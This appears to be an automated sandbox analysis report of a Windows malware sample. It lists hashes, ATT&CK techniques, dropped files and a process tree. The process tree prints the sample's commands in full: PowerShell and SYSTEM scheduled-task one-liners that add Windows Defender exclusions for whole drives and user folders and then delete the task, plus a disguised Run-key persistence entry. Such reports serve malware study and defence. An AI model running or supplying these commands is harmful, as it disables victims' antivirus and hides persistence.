e4ce5fba84dcd59c1878a86f39a2d15faeb03bf3d4b2c52398d97de723f6db52

Analysis

max time kernel
151s
max time network
154s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
05/08/2026, 04:09

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-05_12d2c21055fd493bd73d4a4001830f59_cobalt-strike_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
Size 55.2MB
Sample260805-eqtq3svxes
SHA256 e4ce5fba84dcd59c1878a86f39a2d15faeb03bf3d4b2c52398d97de723f6db52
MD5 12d2c21055fd493bd73d4a4001830f59
SHA1 b50b95625d437687137d49933723e1d0cbefc0ec
SHA512 0c15935d765bcad5ba8ec374089d18ecb72204c636340f180bddf25f63380dc93676222eef62ca23afa0c982166ce945a21c2aa6e2e9bedc07e090e32868306a
SSDEEP 196608:InnmbV2qWwRNTc+u1aZfO8pP+QDhb6Z/LzEnSQ5Ps65:iSRe9QDZ
TLSH
T1FEC78406F702899AD4799338488B4F91B372ECF14AB6972323B8733D2EFA35C5E91545
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion execution persistence trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 6 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\EbKXtO = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3852	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
4272	coi09p.exe
5868	coi09p.exe

Loads dropped DLL 2 IoCs

pid	Process
4272	coi09p.exe
5868	coi09p.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\EbKXtO\\coi09p.exe\""	coi09p.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
3164	cmd.exe
1580	cmd.exe
2300	cmd.exe
4956	cmd.exe
696	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	coi09p.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3344	cmd.exe
2200	cmd.exe
1112	cmd.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1552	schtasks.exe
6140	schtasks.exe
5748	schtasks.exe
2416	schtasks.exe
5812	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4924	2026-08-05_12d2c21055fd493bd73d4a4001830f59_cobalt-strike_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
4924	2026-08-05_12d2c21055fd493bd73d4a4001830f59_cobalt-strike_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
4924	2026-08-05_12d2c21055fd493bd73d4a4001830f59_cobalt-strike_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
4924	2026-08-05_12d2c21055fd493bd73d4a4001830f59_cobalt-strike_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
4924	2026-08-05_12d2c21055fd493bd73d4a4001830f59_cobalt-strike_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
4924	2026-08-05_12d2c21055fd493bd73d4a4001830f59_cobalt-strike_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
4924	2026-08-05_12d2c21055fd493bd73d4a4001830f59_cobalt-strike_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
4924	2026-08-05_12d2c21055fd493bd73d4a4001830f59_cobalt-strike_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
4924	2026-08-05_12d2c21055fd493bd73d4a4001830f59_cobalt-strike_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
4924	2026-08-05_12d2c21055fd493bd73d4a4001830f59_cobalt-strike_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
4924	2026-08-05_12d2c21055fd493bd73d4a4001830f59_cobalt-strike_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
4924	2026-08-05_12d2c21055fd493bd73d4a4001830f59_cobalt-strike_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
4924	2026-08-05_12d2c21055fd493bd73d4a4001830f59_cobalt-strike_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
4924	2026-08-05_12d2c21055fd493bd73d4a4001830f59_cobalt-strike_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
4924	2026-08-05_12d2c21055fd493bd73d4a4001830f59_cobalt-strike_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
4924	2026-08-05_12d2c21055fd493bd73d4a4001830f59_cobalt-strike_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
4924	2026-08-05_12d2c21055fd493bd73d4a4001830f59_cobalt-strike_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
4924	2026-08-05_12d2c21055fd493bd73d4a4001830f59_cobalt-strike_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
4924	2026-08-05_12d2c21055fd493bd73d4a4001830f59_cobalt-strike_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
4924	2026-08-05_12d2c21055fd493bd73d4a4001830f59_cobalt-strike_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
4924	2026-08-05_12d2c21055fd493bd73d4a4001830f59_cobalt-strike_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
4924	2026-08-05_12d2c21055fd493bd73d4a4001830f59_cobalt-strike_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
4924	2026-08-05_12d2c21055fd493bd73d4a4001830f59_cobalt-strike_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
4924	2026-08-05_12d2c21055fd493bd73d4a4001830f59_cobalt-strike_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
4924	2026-08-05_12d2c21055fd493bd73d4a4001830f59_cobalt-strike_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
4924	2026-08-05_12d2c21055fd493bd73d4a4001830f59_cobalt-strike_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
4924	2026-08-05_12d2c21055fd493bd73d4a4001830f59_cobalt-strike_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
4924	2026-08-05_12d2c21055fd493bd73d4a4001830f59_cobalt-strike_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
4924	2026-08-05_12d2c21055fd493bd73d4a4001830f59_cobalt-strike_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
4924	2026-08-05_12d2c21055fd493bd73d4a4001830f59_cobalt-strike_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
4924	2026-08-05_12d2c21055fd493bd73d4a4001830f59_cobalt-strike_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
4924	2026-08-05_12d2c21055fd493bd73d4a4001830f59_cobalt-strike_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
4272	coi09p.exe
4272	coi09p.exe
4272	coi09p.exe
4272	coi09p.exe
4272	coi09p.exe
4272	coi09p.exe
4272	coi09p.exe
4272	coi09p.exe
4272	coi09p.exe
4272	coi09p.exe
4272	coi09p.exe
4272	coi09p.exe
4272	coi09p.exe
4272	coi09p.exe
4272	coi09p.exe
4272	coi09p.exe
4272	coi09p.exe
4272	coi09p.exe
4272	coi09p.exe
4272	coi09p.exe
4272	coi09p.exe
4272	coi09p.exe
4272	coi09p.exe
4272	coi09p.exe
4272	coi09p.exe
4272	coi09p.exe
4272	coi09p.exe
4272	coi09p.exe
4272	coi09p.exe
4272	coi09p.exe
4272	coi09p.exe
4272	coi09p.exe

Suspicious behavior: LoadsDriver 6 IoCs

pid	Process
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	3852	powershell.exe
Token: SeIncreaseQuotaPrivilege	3852	powershell.exe
Token: SeSecurityPrivilege	3852	powershell.exe
Token: SeTakeOwnershipPrivilege	3852	powershell.exe
Token: SeLoadDriverPrivilege	3852	powershell.exe
Token: SeSystemProfilePrivilege	3852	powershell.exe
Token: SeSystemtimePrivilege	3852	powershell.exe
Token: SeProfSingleProcessPrivilege	3852	powershell.exe
Token: SeIncBasePriorityPrivilege	3852	powershell.exe
Token: SeCreatePagefilePrivilege	3852	powershell.exe
Token: SeBackupPrivilege	3852	powershell.exe
Token: SeRestorePrivilege	3852	powershell.exe
Token: SeShutdownPrivilege	3852	powershell.exe
Token: SeDebugPrivilege	3852	powershell.exe
Token: SeSystemEnvironmentPrivilege	3852	powershell.exe
Token: SeRemoteShutdownPrivilege	3852	powershell.exe
Token: SeUndockPrivilege	3852	powershell.exe
Token: SeManageVolumePrivilege	3852	powershell.exe
Token: 33	3852	powershell.exe
Token: 34	3852	powershell.exe
Token: 35	3852	powershell.exe
Token: 36	3852	powershell.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 4272 wrote to memory of 3852	4272	coi09p.exe	92
PID 4272 wrote to memory of 3164	4272	coi09p.exe	95
PID 3164 wrote to memory of 1552	3164	cmd.exe	97
PID 3164 wrote to memory of 2704	3164	cmd.exe	99
PID 4272 wrote to memory of 1580	4272	coi09p.exe	101
PID 3164 wrote to memory of 3872	3164	cmd.exe	103
PID 4272 wrote to memory of 2300	4272	coi09p.exe	105
PID 1580 wrote to memory of 6140	1580	cmd.exe	106
PID 2300 wrote to memory of 5748	2300	cmd.exe	108
PID 1580 wrote to memory of 3660	1580	cmd.exe	109
PID 2300 wrote to memory of 5920	2300	cmd.exe	111
PID 1580 wrote to memory of 5384	1580	cmd.exe	112
PID 2300 wrote to memory of 4988	2300	cmd.exe	113
PID 4272 wrote to memory of 4956	4272	coi09p.exe	114
PID 4956 wrote to memory of 2416	4956	cmd.exe	116
PID 4272 wrote to memory of 696	4272	coi09p.exe	117
PID 4956 wrote to memory of 5728	4956	cmd.exe	119
PID 696 wrote to memory of 5812	696	cmd.exe	120
PID 696 wrote to memory of 5272	696	cmd.exe	122
PID 4956 wrote to memory of 5752	4956	cmd.exe	123
PID 696 wrote to memory of 2536	696	cmd.exe	124
PID 3344 wrote to memory of 832	3344	cmd.exe	128
PID 2200 wrote to memory of 2128	2200	cmd.exe	129
PID 1112 wrote to memory of 2020	1112	cmd.exe	130

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-08-05_12d2c21055fd493bd73d4a4001830f59_cobalt-strike_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-05_12d2c21055fd493bd73d4a4001830f59_cobalt-strike_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:4924

C:\Users\Public\EbKXtO\coi09p.exe
"C:\Users\Public\EbKXtO\coi09p.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4272
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:3852
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\EbKXtO\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3164
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\EbKXtO\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1552
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2704
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1580
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6140
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3660
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5384
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2300
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5748
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5920
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4988
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4956
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2416
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5728
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5752
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:696
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5812
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5272
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2536

C:\Users\Public\EbKXtO\coi09p.exe
"C:\Users\Public\EbKXtO\coi09p.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5868

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\EbKXtO" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3344
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\EbKXtO" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:832

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:2484

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2200
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2128

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1112
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2020

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

1BA79029EC3FFD076F5DAC2F70A18685

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1BA79029EC3FFD076F5DAC2F70A18685
Size 1KB
SHA256 63b14543360f5e89942ea8d5113526e64fbc71c1207328f0136b3a495d921dd0
MD5 adac67e1d2da2d706db151c2db316b2d
SHA1 5f6e301d23e33132209707945d0e740d5bcb8996
SHA512 9371b62ac25c6ea8fb6fca19ac47b873ced9b3d0cb45ce4de5ea974b93c12684c65aa23c7d83331c77502853258a08dff73ce5e3fb6170bd3ab1c5b3283a86a9
TLSH
T1DE31AD4EA2153027D5427F72D8CEBE83CEB1364667CAD46B18046E4229AAFC25FC80C9
MD5 SHA1 SHA512 TLSH

Submit Download

1BA79029EC3FFD076F5DAC2F70A18685

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1BA79029EC3FFD076F5DAC2F70A18685
Size 186B
SHA256 7e285552b7b12820be06185852b3c36717252b5a6dd0d881ef593eea300889aa
MD5 afc8ee784e1c9b3c53a33992f95bc7cc
SHA1 58a182843b9ae8b5de3ffc22f3a0e6c903743e33
SHA512 86434996b6611a0f97018aa40ec09efe1f7bd37097cd6c0f23d5a42581f805f5b6b94ca9569245051927d95ba2e80959854bce702c2aaae39b85f77a6258fbe5
TLSH
T1DCC04C9063B58354F1358E7E2F51266297765D159D12C3540B65434DC568A005972E13
MD5 SHA1 SHA512 TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\EbKXtO\UxEnhance64.dll
Size 3.1MB
SHA256 6cdc17e7d6b569aefcd2d953ef128c5302bd6a089a20900b1b36a48929612a1a
MD5 3c5a9723955327599068e924891d9f6b
SHA1 f98f1499b06991f52452d0ef72990537f968a828
SHA512 bb4c63a48aab62f5669e3e8ebc261c61c178fff1e490c5edee8ffa64d89af8a41bb23203956983546cfd447db3336ad3de96efea5bcdc37d51b35f7c068f45da
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+P:P9m29xx3Tiqt06ox6+z2rNNrKoP
TLSH
T198E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\EbKXtO\adoresd.dat
Size 4.7MB
SHA256 1702c83f9d7da93192802a6a50c16d9f8e488b1f0fe6a7386d6551b51cbd7513
MD5 2bcd2fe6838e5ecb44ac3e3e56ed465e
SHA1 cd3ea14e18ae546d8f81d351ee64d56e7c4ffdaa
SHA512 26058e61dacc68556ed2f1fa451335b550d3370385db65bbd32b2267a3e41579906e3f640035db6712037ab127106562b4020297b1821704fa81f640eb5fbf1c
SSDEEP 98304:Umu1SwODpRGIRdXEMZYe6rFLoTTpMk6ZGvQv0Ss2i+XZXea1v5WZd8uCp:Xu1SwOflfZPF6Ma0bsoa5+qd
TLSH
T1403633368AE6F5C7E35B2A0AF36888DD12B0B7AD6E9D75C24AF070145DB30CE9015BC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

coi09p.exe

Path C:\Users\Public\EbKXtO\coi09p.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\EbKXtO\msadox.tb
Size 8KB
SHA256 e2eeb4d0058e7b2db55c0af963ad83af62f97b556128b3915ec6de8a71f3d2f6
MD5 19f364ed42ea79f2aa2e8bbc402c3376
SHA1 0ba9ee3736015214233cd224f8b434aaed142435
SHA512 4aa55ff200d2a8bef2be03cae4255e24eac8c4e3aea9017c532451bf6182a60df0867e01eebbf1ecbf56168f92f4aabf72d765086f65f12e41c7d29a804e123d
SSDEEP 192:LqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:LsZqZOXQ3uqvR2Kfzp
TLSH
T1D8029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/3852-594-0x00000267FE7E0000-0x00000267FE802000-memory.dmp

Download

memory/3852-600-0x00000267FE860000-0x00000267FE86A000-memory.dmp

Download

memory/3852-599-0x00000267FEAD0000-0x00000267FEB82000-memory.dmp

Download

memory/3852-598-0x00000267FE840000-0x00000267FE85E000-memory.dmp

Download

memory/4272-563-0x0000020FC3650000-0x0000020FC36DA000-memory.dmp

Download

memory/4272-568-0x0000020FC2DB0000-0x0000020FC3641000-memory.dmp

Download

memory/4272-538-0x0000020FC2DB0000-0x0000020FC3641000-memory.dmp

Download

memory/4272-540-0x00007FF80FD20000-0x00007FF80FD22000-memory.dmp

Download

memory/4272-541-0x0000020FC2DB0000-0x0000020FC3641000-memory.dmp

Download

memory/4272-545-0x0000020FC2DB0000-0x0000020FC3641000-memory.dmp

Download

memory/4272-546-0x0000020FC2DB0000-0x0000020FC3641000-memory.dmp

Download

memory/4272-547-0x0000020FC2DB0000-0x0000020FC3641000-memory.dmp

Download

memory/4272-548-0x0000020FC2DB0000-0x0000020FC3641000-memory.dmp

Download

memory/4272-552-0x0000020FC2DB0000-0x0000020FC3641000-memory.dmp

Download

memory/4272-560-0x0000020FC3650000-0x0000020FC36DA000-memory.dmp

Download

memory/4272-562-0x0000020FC3650000-0x0000020FC36DA000-memory.dmp

Download

memory/4272-561-0x0000020FC3650000-0x0000020FC36DA000-memory.dmp

Download

memory/4272-558-0x0000020FC22A0000-0x0000020FC22EE000-memory.dmp

Download

memory/4272-532-0x00007FF80FD10000-0x00007FF80FD12000-memory.dmp

Download

memory/4272-565-0x0000020FC2DB0000-0x0000020FC3641000-memory.dmp

Download

memory/4272-567-0x0000020FC2DB0000-0x0000020FC3641000-memory.dmp

Download

memory/4272-533-0x00007FFFEF120000-0x00007FFFEF63E000-memory.dmp

Download

memory/4924-0-0x0000000005710000-0x000000000571D000-memory.dmp

Download

memory/4924-2-0x0000000005720000-0x000000000572B000-memory.dmp

Download

memory/4924-1-0x0000000005710000-0x000000000571D000-memory.dmp

Download

memory/4924-527-0x00007FFFFF1B0000-0x00007FFFFF1C2000-memory.dmp

Download

memory/4924-526-0x0000000005710000-0x000000000571D000-memory.dmp

Download

memory/4924-504-0x00007FFFFF1B0000-0x00007FFFFF1C2000-memory.dmp

Download

memory/5868-591-0x00007FF80FD10000-0x00007FF80FD12000-memory.dmp

Download

memory/5868-589-0x00000189672E0000-0x0000018967B71000-memory.dmp

Download

memory/5868-590-0x00000189672E0000-0x0000018967B71000-memory.dmp

Download

memory/5868-588-0x00000189672E0000-0x0000018967B71000-memory.dmp

Download

memory/5868-585-0x00000189672E0000-0x0000018967B71000-memory.dmp

Download

memory/5868-575-0x00007FFFEF120000-0x00007FFFEF63E000-memory.dmp

Download

memory/5868-587-0x00000189672E0000-0x0000018967B71000-memory.dmp

Download

memory/5868-582-0x00007FF80FD20000-0x00007FF80FD22000-memory.dmp

Download

memory/5868-580-0x00000189672E0000-0x0000018967B71000-memory.dmp

Download